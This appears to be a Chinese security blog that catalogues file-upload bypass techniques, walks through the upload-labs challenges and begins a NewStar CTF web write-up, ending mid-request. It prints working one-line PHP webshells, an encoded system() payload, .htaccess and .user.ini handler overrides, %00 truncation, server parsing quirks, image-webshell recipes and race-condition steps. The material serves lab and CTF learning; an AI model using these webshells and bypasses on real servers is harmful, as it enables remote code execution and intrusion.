AddType application/x-httpd-php .gif
3
</IfModule>

.user.ini绕过#

仅适用于 php 版本>=5.3.0且以 CGI/FastCGI 模式运行的 php

使用的时候得等到它生效后才能连接比如蚁剑（多等一会

该方式的泛用程度要大于 .htaccess 文件的利用（.htaccess 只支持 Apache 以 CGI/FastCGI 模式运行的 php 才支持基于每个目录下的 .ini 文件，若是开启后，php 便会依照下列顺序去查找 .ini 配置（从上到下依次权力变小，即两个 .ini 都有同一个配置，会依照 1~4 的顺序去采纳

php 的配置加载机制：

代码中的 ini.set()（仅针对该脚本生效
当前目录下的 .user.ini（针对当前目录及其子目录生效
上级目录直到根目录的 .user.ini
全局的 php.ini

.user.ini 的两个配置：

1
auto_append_file=filename //指定一个文件，自动包含在要执行的文件前
2
auto_prepend_file=filename  //指定一个文件，自动包含在要执行的文件后

filename 实际为路径，可以为绝对路径和相对路径

实际使用中我们一般可以先上传一个 .user.ini，指定一个后缀在许可范围内的文件名，随后上传包含一句话木马的文件。…等等等…，等到 .user.ini 修改配置生效后，访问题目容器下的一个 .php 结尾的路径，随后便可利用蚁剑等进行连接

伪装文件夹绕过#

在数据包中在文件名后面加上 /. 将文件伪装成文件夹，最后保存时正常,但检测到的后缀名为 后缀名/.（在 /. 后面再利用%00.<正常文件格式> 可以绕过白名单）

后端检测文件后缀名（白名单）#

相对于黑名单绕过，白名单的绕过要更难

%00截断绕过#

要求：PHP版本 < 5.3 且 php.ini 配置文件中 magic_quotes_gpc 为 off 且数据包必须包含上传路径（文件上传路径可控

系统在对文件名的读取时，如果遇到 0x00，就会认为读取已结束，从而忽略后面的内容（%00 是 0x00 的 URL 编码格式）

我们可以将文件上传路径后加上 %00，这样的话其后的内容就会被截断

例如：文件原本的上传路径为 /uploads/随机数.白名单后缀 这时我们可以将上传路径修改为 /uploads/0n1y.php%00随机数.白名单后缀 这样白名单的后缀就不会被解析并且又绕过了白名单检测，我们的文件被当成 .php 文件执行

常见的后端源码：

一般将 路径直接拼接

1
$is_upload = false;
2
$msg = null;
3
if(isset($_POST['submit'])){
4
    $ext_arr = array('jpg','png','gif');
5
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
6
    if(in_array($file_ext,$ext_arr)){
7
        $temp_file = $_FILES['upload_file']['tmp_name'];
8
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
9

10
        if(move_uploaded_file($temp_file,$img_path)){
11
            $is_upload = true;
12
        } else {
13
            $msg = '上传出错！';
14
        }
15
    } else{
16
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
17
    }
18
}

展开收起

后端检测文件内容#

过滤了 php：使用 <?=eval($_POST[cmd]);?>

过滤了 []：使用 <?=eval($_POST{cmd});?>

过滤了 <?：仅在 PHP 版本 < 5.6.X 下才可使用 使用：

1
<script language="php">
2
  eval($_POST[cmd]);
3
</script>

或者使用 UTF-16 编码绕过

过滤了 ; 和 []：使用 <?=system('tac ../flag.*')?>

过滤了敏感字符（如 $_GET）：使用编码绕过： <?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>

其他绕过：

1
<?php $_GET['a']($_GET['b']); ?>
2
a=system&b=ls
3
a=assert&b=system("ls")
4

5
<?php
6
  $a = str_replace(text,sser,atextt);
7
  $a($_POST['c']);
8
?>
9

10
<?php
11
$a="sys";
12
$b="tem";
13
$c=$a.$b;
14
$c($_POST['c']);
15
?>

展开收起

二次渲染绕过#

这里尽量使用 .gif 文件（.gif 还是太好用了

后端会对我们上传的图片进行二次渲染，从而可能使得我们上传文件中的恶意代码被直接删除

我们可以先上传一张带有恶意代码的图片，随后再将服务器返回给我们的图片与原图进行对比（例如使用 01editor 等等，再在没有发生更改的位置插入我们的恶意代码重新上传即可

常见的后端源码：

1
```php
2
$is_upload = false;
3
$msg = null;
4
if (isset($_POST['submit'])){
5
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
6
    $filename = $_FILES['upload_file']['name'];
7
    $filetype = $_FILES['upload_file']['type'];
8
    $tmpname = $_FILES['upload_file']['tmp_name'];
9

10
    $target_path=UPLOAD_PATH.'/'.basename($filename);
11

12
    // 获得上传文件的扩展名
13
    $fileext= substr(strrchr($filename,"."),1);
14

15
    //判断文件后缀与类型，合法才进行上传操作
16
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
17
        if(move_uploaded_file($tmpname,$target_path)){
18
            //使用上传的图片生成新的图片
19
            $im = imagecreatefromjpeg($target_path);
20

21
            if($im == false){
22
                $msg = "该文件不是jpg格式的图片！";
23
                @unlink($target_path);
24
            }else{
25
                //给新图片指定文件名
26
                srand(time());
27
                $newfilename = strval(rand()).".jpg";
28
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
29
                $img_path = UPLOAD_PATH.'/'.$newfilename;
30
                imagejpeg($im,$img_path);
31
                @unlink($target_path);
32
                $is_upload = true;
33
            }
34
        } else {
35
            $msg = "上传出错！";
36
        }
37

38
    }else if(($fileext == "png") && ($filetype=="image/png")){
39
        if(move_uploaded_file($tmpname,$target_path)){
40
            //使用上传的图片生成新的图片
41
            $im = imagecreatefrompng($target_path);
42

43
            if($im == false){
44
                $msg = "该文件不是png格式的图片！";
45
                @unlink($target_path);
46
            }else{
47
                 //给新图片指定文件名
48
                srand(time());
49
                $newfilename = strval(rand()).".png";
50
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
51
                $img_path = UPLOAD_PATH.'/'.$newfilename;
52
                imagepng($im,$img_path);
53

54
                @unlink($target_path);
55
                $is_upload = true;
56
            }
57
        } else {
58
            $msg = "上传出错！";
59
        }
60

61
    }else if(($fileext == "gif") && ($filetype=="image/gif")){
62
        if(move_uploaded_file($tmpname,$target_path)){
63
            //使用上传的图片生成新的图片
64
            $im = imagecreatefromgif($target_path);
65
            if($im == false){
66
                $msg = "该文件不是gif格式的图片！";
67
                @unlink($target_path);
68
            }else{
69
                //给新图片指定文件名
70
                srand(time());
71
                $newfilename = strval(rand()).".gif";
72
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
73
                $img_path = UPLOAD_PATH.'/'.$newfilename;
74
                imagegif($im,$img_path);
75

76
                @unlink($target_path);
77
                $is_upload = true;
78
            }
79
        } else {
80
            $msg = "上传出错！";
81
        }
82
    }else{
83
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
84
    }
85
}

展开收起

条件竞争#

由于服务器端在处理不同用户的请求时是并发进行的，因此，如果并发处理不当或相关操作逻辑顺序设计的不合理时，将会导致条件竞争漏洞的发生

如果文件可以直接上传，上传成功后才进行判断：如果文件格式符合要求，则重命名；如果文件格式不符合要求，将文件删除

由于服务器并发处理多个请求，假如 a 用户上传了木马文件，由于代码执行需要时间，在此过程中 b 用户访问了 a 用户上传的文件，会有以下三种情况：

1.访问时间点在上传成功之前，没有此文件

2.访问时间点在刚上传成功但还没有进行判断，该文件存在

3.访问时间点在判断之后，文件被删除，没有此文件

这里我们目标就是要抓住服务器删除文件的那个空挡，如果抓住就算是它对文件名进行随机数命名我们也可以成功上传到，且上传过后的文件就是持久的保存在服务器了（因为已经通过了后端的删除检测

我一般是使用 burpsuite 的 intruder 模块，分两个同时进行去访问（线程可以拉高一点，不过可能要冒着报 403 的风险23333

常见的后端源码：

1
```php
2
$is_upload = false;
3
$msg = null;
4

5
if(isset($_POST['submit'])){
6
    $ext_arr = array('jpg','png','gif');
7
    $file_name = $_FILES['upload_file']['name'];
8
    $temp_file = $_FILES['upload_file']['tmp_name'];
9
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
10
    $upload_file = UPLOAD_PATH . '/' . $file_name;
11

12
    if(move_uploaded_file($temp_file, $upload_file)){
13
        if(in_array($file_ext,$ext_arr)){
14
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
15
             rename($upload_file, $img_path);
16
             $is_upload = true;
17
        }else{
18
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
19
            unlink($upload_file);
20
        }
21
    }else{
22
        $msg = '上传出错！';
23
    }
24
}

展开收起

解析漏洞#

三大巨头来了（（

Apache httpd 多后缀解析漏洞#

Apache 默认一个文件可以有多个以点 . 分割的后缀，当右边的后缀名无法识别，则继续向左识别，即它的识别顺序为从右往左

如果服务器的 php 文件处理程序时配置不当，那么所以只要文件含有 .php 后缀的文件会被识别成 php 文件，没必要是最后一个后缀

因此，我们可以在 .php 后面添加多个无效拓展名，例如 0n1y.php.hga.fjeoia

这样服务器解析的还是 0n1y.php 文件

Apache httpd 换行解析漏洞#

Apache 会使用正则表达式中的 $ 用来匹配字符串结位置，但在设置了对象的 Multiline 属性的条件下，$ 还会匹配到字符串结尾的换行符

也就是说 $ 会去匹配换行符（LF），\x0A转义序列代表的就是换行符，所以在php文件后面加上 \x0A 可以进行绕过。在解析php时 1.php\x0A 将被按照php文件进行解析

Nginx 配置不当解析漏洞#

当配置项 CGI.fix_pathinfo 开启并且 security.limit_extensions 没有限制解析文件类型时，在上传的文件名后面加上 /.php，被解析为 php 文件

上传/eval.jpg/a.php，配置文件中的配置项 cgi.fix_pathinfo=1 默认开启（路径修复：如果当前路径不存在则采用上级路径）如果 a.php 不存在，FastCGI 就会把上一级的eval.jpg 作为php文件解析

IIS7.5解析漏洞#

在 FastCGI 运行模式下，php.ini 里配置项 cgi.fix_pathinfo=1，并且取消勾选 php-cgi.exe 程序的模块映射中的请求限制

在上传的文件名后面加上 /.php，可以被作为 php 文件解析，和 Nginx 配置不当解析漏洞类似

IIS6.0解析漏洞#

路径解析：在 .asp|.asa 目录下的任意文件都会以asp格式解析

分号截断：IIS6.0 默认不解析 ; 后面的内容，上传 eval.asp;.jpg 会被解析为 asp

解析文件类型：IIS 6.0 默认的可执行文件除了 asp 还包含 asa|cer|cdx，会将这三种扩展名文件解析为 asp 文件

文件目录位置无法访问#

先决条件：上传的压缩文件自动解压

思路: 先上传一个 zip，其中压缩了一个链接到 /var/www/html 的软链接 test。然后，再上传一个 zip，这次的 zip 中含有一个正常的文件夹 test，里面有一句话木马的 php 文件第一次解压，会在 tmp 目录下产生一个软链接 test。在第二次解压时，因为存在同名的文件(软链接test 和正常文件夹 test)，此时解压程序会将 test 文件夹中的文件试图解压到已经存在的 test中，而这个已经存在的test指向了 /var/www/html，所以实际的解压位置就变成了 /var/www/html

这里再提供一种思路（做题碰到的

若是无法访问上层目录，可以考虑先进行提权（例如寻找 suid 的文件路径等等

其他绕过#

目前这些还没有碰到题目/不怎么常见

Unicode：当目标存在 json_decode 且检查在 json_decode 之前,可以将 php 写为\u0070hp
名单列表绕过，如：*.asa *.cer

如何构造图片马#

这里列举三种方法（按照从易到难的顺序

GIF#

.gif 太好用了你知道吗（

直接在文件内容前加上 GIF89a 或者 GIF87a 即可

copy#

使用如下命令：

copy 0n.jpg/b + 1y.php/a 0n1y.jpg

即可得到图片马 0n1y.jpg

01editor#

打开图片，滚动到文件末尾，粘贴比如一句话木马保存即可

uploads-labs-wp

Fri, 15 May 2026 00:00:00 GMT

（过程详细，基本都能够参照复现）（针对 0n1y 当时感觉有趣/不会的点进行了解释）（目标是名为 phpinfo.php 的文件成功执行）

Pass-01 前端 Javascript 检测#

前端检测，直接禁用 Javascript

Pass-02 MIME 检测#

第二关直接上传得到的响应： 文件类型不正确，请重新上传！

这里抓包修改 content-type 为 image/jpeg 后成功上传

Pass-03 特殊后缀解析绕过#

第三关直接上传得到的响应： 不允许上传.asp,.aspx,.php,.jsp后缀文件！

这里将后缀改为 php3 后成功上传

Pass-04 .htaccess 绕过#

第四关直接上传得到的响应： 此文件不允许上传!

这里尝试上传 .htaccess 文件后成功

.htaccess 文件内容如下： AddType application/x-httpd-php .jpeg

随后再上传 phpinfo.jpeg 成功上传

Pass-05 大小写绕过#

第五关直接上传得到的响应： 此文件类型不允许上传！

这里直接大小写绕过即可：phpinfo.phP

Pass-06 空格绕过#

第六关直接上传得到的响应： 此文件不允许上传

这里上传一个后缀末尾带空格的即可：phpinfo.php+（这里的 + 是一个空格）

Pass-07 点号绕过#

第七关直接上传得到的响应： 此文件类型不允许上传！

在文件后缀加点号进行绕过：phpinfo.php.

Pass-08 ::$DATA 绕过#

第八关直接上传得到的响应： 此文件类型不允许上传！

在后缀加上 ::$data 去进行绕过：phpinfo.php::$data

Pass-09 双点号绕过#

源码如下：

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6
        $file_name = trim($_FILES['upload_file']['name']);
7
        $file_name = deldot($file_name);//删除文件名末尾的点
8
        $file_ext = strrchr($file_name, '.');
9
        $file_ext = strtolower($file_ext); //转换为小写
10
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11
        $file_ext = trim($file_ext); //首尾去空
12

13
        if (!in_array($file_ext, $deny_ext)) {
14
            $temp_file = $_FILES['upload_file']['tmp_name'];
15
            $img_path = UPLOAD_PATH.'/'.$file_name;
16
            if (move_uploaded_file($temp_file, $img_path)) {
17
                $is_upload = true;
18
            } else {
19
                $msg = '上传出错！';
20
            }
21
        } else {
22
            $msg = '此文件类型不允许上传！';
23
        }
24
    } else {
25
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
26
    }
27
}

展开收起

第九关直接上传得到的响应： 此文件类型不允许上传！

这里后端对文件名前后的空格和点号均进行了删除，但只进行了一次

这里使用双点号进行绕过：phpinfo.php. .

删除过后的文件名为：phpinfo.php. ，即可绕过

Pass-10 双写绕过#

出乎意料，这一关直接上传 phpinfo.php 竟然直接成功了

看抓包数据：

/upload/info.

这里很明显，将文件名中所有的 php 字眼的字符串全部删除了（即替换为空字符串

这里后面尝试双写绕过成功了：phpinfo.pphphp

但是其实在此之前我是先尝试的 phpinfo.phphpp，而这被后端改为 /upload/info.hpp

这里是因为后端进行匹配的是 php，而在我的字符串中 .phphpp 先出现了 php，导致前面的被删除（我的本意是中间的 php 被删除

（双写绕过也不能任意构造呀 23333

Pass-11 %00 截断绕过#

源码如下：

1
$is_upload = false;
2
$msg = null;
3
if(isset($_POST['submit'])){
4
    $ext_arr = array('jpg','png','gif');
5
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
6
    if(in_array($file_ext,$ext_arr)){
7
        $temp_file = $_FILES['upload_file']['tmp_name'];
8
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
9

10
        if(move_uploaded_file($temp_file,$img_path)){
11
            $is_upload = true;
12
        } else {
13
            $msg = '上传出错！';
14
        }
15
    } else{
16
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
17
    }
18
}

展开收起

第十一关直接上传得到的响应： 只允许上传.jpg|.png|.gif类型文件！

这里将文件上传路径修改为 /upload/phpinfo.php%00 去截断后续字符使得文件被系统当成 php 文件执行

Pass-12 %00 截断绕过#

源码如下：

1
$is_upload = false;
2
$msg = null;
3
if(isset($_POST['submit'])){
4
    $ext_arr = array('jpg','png','gif');
5
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
6
    if(in_array($file_ext,$ext_arr)){
7
        $temp_file = $_FILES['upload_file']['tmp_name'];
8
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
9

10
        if(move_uploaded_file($temp_file,$img_path)){
11
            $is_upload = true;
12
        } else {
13
            $msg = "上传失败";
14
        }
15
    } else {
16
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
17
    }
18
}

展开收起

第十二关直接上传得到的响应： 只允许上传.jpg|.png|.gif类型文件！

初看这个响应，大概能猜到也是白名单过滤，这里看了下数据包的响应：（只截取了一部分关键的

1
POST /Pass-12/index.php HTTP/1.1
2

3
................................
4

5
Content-Disposition: form-data; name="save_path"
6

7

8

9
../upload/
10

11
------WebKitFormBoundarybkdk3dzqmvcVLqkl
12

13
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
14

15
Content-Type: application/octet-stream
16

17

18

19
<?php eval("phpinfo();"); ?>
20

21
------WebKitFormBoundarybkdk3dzqmvcVLqkl
22

23
Content-Disposition: form-data; name="submit"
24

25

26

27
上传
28

29
------WebKitFormBoundarybkdk3dzqmvcVLqkl--

展开收起

这里可以看到此次上传文件是采用 POST 方法，而且也有可控的上传路径

这里同样采取 %00 截断

但是要注意的一点是 POST 方法传递的参数是不会像 GET 方式一样进行自动解码的

这里手动在 Yakit 里面对 %00 进行解码

方法：选择 %00，右键选择 URL 强制解码

最终的上传路径变为：/upload/phpinfo.php{{urldec(%00)}}

Pass13~Pass16 的目标变为 上传图片马到服务器

Pass-13 图片马配合文件包含绕过#

源码如下：

1
function getReailFileType($filename){
2
    $file = fopen($filename, "rb");
3
    $bin = fread($file, 2); //只读2字节
4
    fclose($file);
5
    $strInfo = @unpack("C2chars", $bin);
6
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
7
    $fileType = '';
8
    switch($typeCode){
9
        case 255216:
10
            $fileType = 'jpg';
11
            break;
12
        case 13780:
13
            $fileType = 'png';
14
            break;
15
        case 7173:
16
            $fileType = 'gif';
17
            break;
18
        default:
19
            $fileType = 'unknown';
20
        }
21
        return $fileType;
22
}
23

24
$is_upload = false;
25
$msg = null;
26
if(isset($_POST['submit'])){
27
    $temp_file = $_FILES['upload_file']['tmp_name'];
28
    $file_type = getReailFileType($temp_file);
29

30
    if($file_type == 'unknown'){
31
        $msg = "文件未知，上传失败！";
32
    }else{
33
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
34
        if(move_uploaded_file($temp_file,$img_path)){
35
            $is_upload = true;
36
        } else {
37
            $msg = "上传出错！";
38
        }
39
    }
40
}

展开收起

这里首先我们得知道题目目录下有这么个 php 文件： http://localhost/include.php

该内容是：

1
<?php
2
/*
3
本页面存在文件包含漏洞，用于测试图片马是否能正常运行！
4
*/
5
header("Content-Type:text/html;charset=utf-8");
6
$file = $_GET['file'];
7
if(isset($file)){
8
    include $file;
9
}else{    show_source(__file__);
10
}
11
?>

随后开始做题，这里我们几番尝试后发现后端会检测文件头

这里修改 phpinfo.php 文件内容为：

1
GIF89a
2

3
<?php eval("phpinfo();"); ?>

但是光这样还不够，若我们尝试去访问上传成功给出的目录，会发现只是一张图片

原因是这道题还要我们使用文件包含去验证图片马是否能成功执行

这里构造 payload：

http://localhost/include.php?file=./upload/9720260513162917.gif

要求做出 .gif，.png，.jpg 三种的图片马

这里有三种做法：

直接使用 GIF89a
copy normal.jpg \a + eval.php \b webshell.jpg
使用 hex 编辑器（例如 01editor

Pass-14 图片马配合文件包含绕过#

我们这里可以使用上一关一模一样的流程进行通关

Pass-15 图片马配合文件包含绕过#

这里同样可以使用上一关一模一样的流程进行通关

Pass-16 二次渲染#

源码如下：

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])){
4
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
5
    $filename = $_FILES['upload_file']['name'];
6
    $filetype = $_FILES['upload_file']['type'];
7
    $tmpname = $_FILES['upload_file']['tmp_name'];
8

9
    $target_path=UPLOAD_PATH.'/'.basename($filename);
10

11
    // 获得上传文件的扩展名
12
    $fileext= substr(strrchr($filename,"."),1);
13

14
    //判断文件后缀与类型，合法才进行上传操作
15
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
16
        if(move_uploaded_file($tmpname,$target_path)){
17
            //使用上传的图片生成新的图片
18
            $im = imagecreatefromjpeg($target_path);
19

20
            if($im == false){
21
                $msg = "该文件不是jpg格式的图片！";
22
                @unlink($target_path);
23
            }else{
24
                //给新图片指定文件名
25
                srand(time());
26
                $newfilename = strval(rand()).".jpg";
27
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
28
                $img_path = UPLOAD_PATH.'/'.$newfilename;
29
                imagejpeg($im,$img_path);
30
                @unlink($target_path);
31
                $is_upload = true;
32
            }
33
        } else {
34
            $msg = "上传出错！";
35
        }
36

37
    }else if(($fileext == "png") && ($filetype=="image/png")){
38
        if(move_uploaded_file($tmpname,$target_path)){
39
            //使用上传的图片生成新的图片
40
            $im = imagecreatefrompng($target_path);
41

42
            if($im == false){
43
                $msg = "该文件不是png格式的图片！";
44
                @unlink($target_path);
45
            }else{
46
                 //给新图片指定文件名
47
                srand(time());
48
                $newfilename = strval(rand()).".png";
49
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
50
                $img_path = UPLOAD_PATH.'/'.$newfilename;
51
                imagepng($im,$img_path);
52

53
                @unlink($target_path);
54
                $is_upload = true;
55
            }
56
        } else {
57
            $msg = "上传出错！";
58
        }
59

60
    }else if(($fileext == "gif") && ($filetype=="image/gif")){
61
        if(move_uploaded_file($tmpname,$target_path)){
62
            //使用上传的图片生成新的图片
63
            $im = imagecreatefromgif($target_path);
64
            if($im == false){
65
                $msg = "该文件不是gif格式的图片！";
66
                @unlink($target_path);
67
            }else{
68
                //给新图片指定文件名
69
                srand(time());
70
                $newfilename = strval(rand()).".gif";
71
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
72
                $img_path = UPLOAD_PATH.'/'.$newfilename;
73
                imagegif($im,$img_path);
74

75
                @unlink($target_path);
76
                $is_upload = true;
77
            }
78
        } else {
79
            $msg = "上传出错！";
80
        }
81
    }else{
82
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
83
    }
84
}

展开收起

第十六关直接上传得到的响应： 只允许上传后缀为.jpg|.png|.gif的图片文件！

这里后端将我们传入的图片进行二次渲染，将我们的恶意代码可能删去了（当然也可能我们很幸运的位置它刚好没删

这里我们要将上传前和上传后的图片进行比对

这里使用 01editor，首先我们打开这两个文件

在 Tools 选项下面找到 Compare Files，进行比对

灰色部分的就是内容一致的部分，我们将恶意代码插入到灰色区域即可

Pass-17 条件竞争#

源码如下：

1
$is_upload = false;
2
$msg = null;
3

4
if(isset($_POST['submit'])){
5
    $ext_arr = array('jpg','png','gif');
6
    $file_name = $_FILES['upload_file']['name'];
7
    $temp_file = $_FILES['upload_file']['tmp_name'];
8
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
9
    $upload_file = UPLOAD_PATH . '/' . $file_name;
10

11
    if(move_uploaded_file($temp_file, $upload_file)){
12
        if(in_array($file_ext,$ext_arr)){
13
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
14
             rename($upload_file, $img_path);
15
             $is_upload = true;
16
        }else{
17
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
18
            unlink($upload_file);
19
        }
20
    }else{
21
        $msg = '上传出错！';
22
    }
23
}

展开收起

这里使用的是 Burpsuite 的 intruder 爆破模块

题目源码是先将文件保存在服务器上，再对其进行检测并且执行删除操作

这里我们要利用它的时间间隙，在它删除成功前访问到我们上传的文件

（即使后端将文件名变为了随机数也仍然可以使用此法，就是一个快！

这里先上传文件，抓包，随后发送到 intruder

将 intruder 界面的 Payload type 改为 Null payloads

选中下方的 Continue indefinitely

随后可以跳到同样该界面的 Resource pool 界面，调快进程（可选，比如调为 20 等等

随后开始攻击

另一边，再构造一个数据包，同样发送到 intruder 模块

这一次使用 GET 方法，路径就是我们上传的 /upload/phpinfo.php，其他和上述配置一样即可

开始攻击

随后在第二个数据包的攻击界面中找响应不同的即可

Pass-18 条件竞争配合解析漏洞#

这里利用了 Apache 的一个解析漏洞：

Apache 会从右往左地解析拓展名，遇到无法识别的则往左继续走

这道题目的 .7z 是在白名单内的，但是默认状态下 Apache 是无法识别该拓展名

因此我们可以这样构建文件名 phpinfo.php.7z

其余步骤与 Pass-17 均一致，都是考察条件竞争，这里不再解释

Pass-19 大小写绕过/%00截断#

源码如下：

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
6

7
        $file_name = $_POST['save_name'];
8
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
9

10
        if(!in_array($file_ext,$deny_ext)) {
11
            $temp_file = $_FILES['upload_file']['tmp_name'];
12
            $img_path = UPLOAD_PATH . '/' .$file_name;
13
            if (move_uploaded_file($temp_file, $img_path)) {
14
                $is_upload = true;
15
            }else{
16
                $msg = '上传出错！';
17
            }
18
        }else{
19
            $msg = '禁止保存为该类型文件！';
20
        }
21

22
    } else {
23
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
24
    }
25
}

展开收起

这里我们上传文件后会发现它对我们的文件进行了重命名

这里将 .php 后缀改为了 .jpg

但是我们仔细观察抓包数据即可发现，这个重命名的操作就在我们的数据包中

也就是说，此重命名是可控的

这里我们直接修改 upload-19.jpg（这里可能会不一样）为 upload-19.PHP 即可绕过

或者我们直接构造 upload-19.php%00.jpg，也能实现 %00 截断绕过

（这里同样要对 %00 进行 URL 解码，因为是使用 POST 请求）

Pass-20 数组绕过#

源码如下：

1
$is_upload = false;
2
$msg = null;
3
if(!empty($_FILES['upload_file'])){
4
    //检查MIME
5
    $allow_type = array('image/jpeg','image/png','image/gif');
6
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
7
        $msg = "禁止上传该类型文件!";
8
    }else{
9
        //检查文件名
10
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
11
        if (!is_array($file)) {
12
            $file = explode('.', strtolower($file));
13
        }
14

15
        $ext = end($file);
16
        $allow_suffix = array('jpg','png','gif');
17
        if (!in_array($ext, $allow_suffix)) {
18
            $msg = "禁止上传该后缀文件!";
19
        }else{
20
            $file_name = reset($file) . '.' . $file[count($file) - 1];
21
            $temp_file = $_FILES['upload_file']['tmp_name'];
22
            $img_path = UPLOAD_PATH . '/' .$file_name;
23
            if (move_uploaded_file($temp_file, $img_path)) {
24
                $msg = "文件上传成功！";
25
                $is_upload = true;
26
            } else {
27
                $msg = "文件上传失败！";
28
            }
29
        }
30
    }
31
}else{
32
    $msg = "请选择要上传的文件！";
33
}

展开收起

这里先改 MIME 为 image/jpeg

提示说文件上传成功，保存在 "../upload/upload-20.jpg"

这里重命名操作依然可控，我们尝试上一关一样的操作

得到：提示：禁止上传该后缀文件!

此关是对我们传入的文件名进行数组校验，若不是数组，则对文件名按照 . 进行分割

若是数组，则不进行分割操作

这里进行数组校验后会分别对文件名和拓展名进行校验（分割后

这里我们可以传入数组：

save_name[0]=phpinfo.php 和 save_name[2]=jpg

由于我们传入的是数组，因此不会受到分割处理

这里 end($file) 对数组最后一个元素进行校验，我们这里传入的 jpg 正在白名单内，通过校验

这里有个 reset() 函数获取我们传入数组的第一个元素，随后这个元素再和 $file[count-1] 进行拼接，这里因为我们上传的数组元素为2，因此这里的 count-1 的结果为1，于是服务器去寻找索引为1的数组元素

但是！我们上传的元素索引分别为 0 和 2，不存在索引为 1 的数组元素，因此这里会返回 NULL（即为空，因此，我们这里的 $file_name 最终的结果就是 phpinfo.php，成功上传

NewStar CTF 2025 WP3 Web

Wed, 15 Apr 2026 00:00:00 GMT

Week3 Web#

mirror_gate#

打开容器，发现考察文件上传漏洞：

打开源码，发现如下提示：

1
<!-- flag is in flag.php -->
2
<!-- HINT: c29tZXRoaW5nX2lzX2luXy91cGxvYWRzLw== -->

解码后：

1
<!-- flag is in flag.php -->
2
<!-- HINT: something_is_in_/uploads/ -->

那就去扫下 /uploads/ 下有什么东西：

使用 Dirsearch：

Terminal window

1
python dirsearch.py -u http://192.168.42.1:26851/uploads/ -e * -x 404,403

这里扫到：/uploads/.htaccess

访问得到：

1
AddType application/x-httpd-php .webp

这道题会把 .webp 后缀的文件当作 php 文件执行

由此我们后缀的问题解决，来看文件内容：

一番试探后发现会检验文件头，这里我们假装 .gif 后缀发送请求包：

1
POST /upload.php HTTP/1.1
2

3
Host: 192.168.42.1:26851
4

5
Upgrade-Insecure-Requests: 1
6

7
Cache-Control: max-age=0
8

9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary02q70XBquIVtAIt8
10

11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
12

13
Accept-Language: zh-CN,zh;q=0.9
14

15
Origin: http://192.168.42.1:26851
16

17
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
18

19
Referer: http://192.168.42.1:26851/
20

21
Accept-Encoding: gzip, deflate
22

23
Content-Length: 328
24

25

26

27
------WebKitFormBoundary02q70XBquIVtAIt8
28

29
Content-Disposition: form-data; name="files[]"; filename="1.webp"
30

31
Content-Type: image/gif
32

33

34

35
GIF89a
36

37
<?php @eval($_POST['cmd']); ?>
38

39
------WebKitFormBoundary02q70XBquIVtAIt8
40

41
Content-Disposition: form-data; name="MAX_FILE_SIZE"
42

43

44

45
5242880
46

47
------WebKitFormBoundary02q70XBquIVtAIt8--

展开收起

发现被过滤，这里尝试后发现好像 eval() 被过滤了，这里使用拼接绕过

最终 payload：

1
POST /upload.php HTTP/1.1
2

3
